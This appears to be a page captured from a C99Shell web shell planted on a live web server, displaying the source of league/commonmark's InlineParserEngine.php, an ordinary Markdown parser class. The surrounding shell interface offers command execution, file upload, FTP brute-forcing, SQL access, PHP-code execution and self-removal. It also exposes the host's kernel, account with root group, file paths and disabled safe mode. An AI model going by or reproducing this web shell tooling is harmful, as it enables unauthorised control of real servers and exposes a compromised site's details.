!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html_v3_3/backup/vendor/league/commonmark/src/   drwxr-xr-x
Free 25.72 GB of 117.98 GB (21.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InlineParserEngine.php (6.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the league/commonmark package.
 *
 * (c) Colin O'Dell <colinodell@gmail.com>
 *
 * Original code based on the CommonMark JS reference parser (https://bitly.com/commonmark-js)
 *  - (c) John MacFarlane
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace League\CommonMark;

use 
League\CommonMark\Block\Element\AbstractStringContainerBlock;
use 
League\CommonMark\Delimiter\Delimiter;
use 
League\CommonMark\Delimiter\Processor\DelimiterProcessorInterface;
use 
League\CommonMark\Inline\AdjacentTextMerger;
use 
League\CommonMark\Inline\Element\Text;
use 
League\CommonMark\Node\Node;
use 
League\CommonMark\Reference\ReferenceMapInterface;
use 
League\CommonMark\Util\RegexHelper;

/**
 * @internal
 */
final class InlineParserEngine
{
    
/** @var EnvironmentInterface */
    
protected $environment;

    public function 
__construct(EnvironmentInterface $environment)
    {
        
$this->environment $environment;
    }

    
/**
     * @param AbstractStringContainerBlock $container
     * @param ReferenceMapInterface        $referenceMap
     *
     * @return void
     */
    
public function parse(AbstractStringContainerBlock $containerReferenceMapInterface $referenceMap)
    {
        
$inlineParserContext = new InlineParserContext($container$referenceMap);
        
$cursor $inlineParserContext->getCursor();
        while ((
$character $cursor->getCharacter()) !== null) {
            if (!
$this->parseCharacter($character$inlineParserContext)) {
                
$this->addPlainText($character$container$inlineParserContext);
            }
        }

        
$this->processInlines($inlineParserContext);

        
AdjacentTextMerger::mergeChildNodes($container);
    }

    
/**
     * @param string              $character
     * @param InlineParserContext $inlineParserContext
     *
     * @return bool Whether we successfully parsed a character at that position
     */
    
private function parseCharacter(string $characterInlineParserContext $inlineParserContext): bool
    
{
        foreach (
$this->environment->getInlineParsersForCharacter($character) as $parser) {
            if (
$parser->parse($inlineParserContext)) {
                return 
true;
            }
        }

        if (
$delimiterProcessor $this->environment->getDelimiterProcessors()->getDelimiterProcessor($character)) {
            return 
$this->parseDelimiters($delimiterProcessor$inlineParserContext);
        }

        return 
false;
    }

    private function 
parseDelimiters(DelimiterProcessorInterface $delimiterProcessorInlineParserContext $inlineContext): bool
    
{
        
$cursor $inlineContext->getCursor();
        
$character $cursor->getCharacter();
        
$numDelims 0;

        
$charBefore $cursor->peek(-1);
        if (
$charBefore === null) {
            
$charBefore "\n";
        }

        while (
$cursor->peek($numDelims) === $character) {
            ++
$numDelims;
        }

        if (
$numDelims $delimiterProcessor->getMinLength()) {
            return 
false;
        }

        
$cursor->advanceBy($numDelims);

        
$charAfter $cursor->getCharacter();
        if (
$charAfter === null) {
            
$charAfter "\n";
        }

        list(
$canOpen$canClose) = self::determineCanOpenOrClose($charBefore$charAfter$character$delimiterProcessor);

        
$node = new Text(\str_repeat($character$numDelims), [
            
'delim' => true,
        ]);
        
$inlineContext->getContainer()->appendChild($node);

        
// Add entry to stack to this opener
        
if ($canOpen || $canClose) {
            
$delimiter = new Delimiter($character$numDelims$node$canOpen$canClose);
            
$inlineContext->getDelimiterStack()->push($delimiter);
        }

        return 
true;
    }

    
/**
     * @param InlineParserContext $inlineParserContext
     *
     * @return void
     */
    
private function processInlines(InlineParserContext $inlineParserContext)
    {
        
$delimiterStack $inlineParserContext->getDelimiterStack();
        
$delimiterStack->processDelimiters(null$this->environment->getDelimiterProcessors());

        
// Remove all delimiters
        
$delimiterStack->removeAll();
    }

    
/**
     * @param string              $character
     * @param Node                $container
     * @param InlineParserContext $inlineParserContext
     *
     * @return void
     */
    
private function addPlainText(string $characterNode $containerInlineParserContext $inlineParserContext)
    {
        
// We reach here if none of the parsers can handle the input
        // Attempt to match multiple non-special characters at once
        
$text $inlineParserContext->getCursor()->match($this->environment->getInlineParserCharacterRegex());
        
// This might fail if we're currently at a special character which wasn't parsed; if so, just add that character
        
if ($text === null) {
            
$inlineParserContext->getCursor()->advanceBy(1);
            
$text $character;
        }

        
$lastInline $container->lastChild();
        if (
$lastInline instanceof Text && !isset($lastInline->data['delim'])) {
            
$lastInline->append($text);
        } else {
            
$container->appendChild(new Text($text));
        }
    }

    
/**
     * @param string                      $charBefore
     * @param string                      $charAfter
     * @param string                      $character
     * @param DelimiterProcessorInterface $delimiterProcessor
     *
     * @return bool[]
     */
    
private static function determineCanOpenOrClose(string $charBeforestring $charAfterstring $characterDelimiterProcessorInterface $delimiterProcessor)
    {
        
$afterIsWhitespace \preg_match(RegexHelper::REGEX_UNICODE_WHITESPACE_CHAR$charAfter);
        
$afterIsPunctuation \preg_match(RegexHelper::REGEX_PUNCTUATION$charAfter);
        
$beforeIsWhitespace \preg_match(RegexHelper::REGEX_UNICODE_WHITESPACE_CHAR$charBefore);
        
$beforeIsPunctuation \preg_match(RegexHelper::REGEX_PUNCTUATION$charBefore);

        
$leftFlanking = !$afterIsWhitespace && (!$afterIsPunctuation || $beforeIsWhitespace || $beforeIsPunctuation);
        
$rightFlanking = !$beforeIsWhitespace && (!$beforeIsPunctuation || $afterIsWhitespace || $afterIsPunctuation);

        if (
$character === '_') {
            
$canOpen $leftFlanking && (!$rightFlanking || $beforeIsPunctuation);
            
$canClose $rightFlanking && (!$leftFlanking || $afterIsPunctuation);
        } else {
            
$canOpen $leftFlanking && $character === $delimiterProcessor->getOpeningCharacter();
            
$canClose $rightFlanking && $character === $delimiterProcessor->getClosingCharacter();
        }

        return [
$canOpen$canClose];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0074 ]--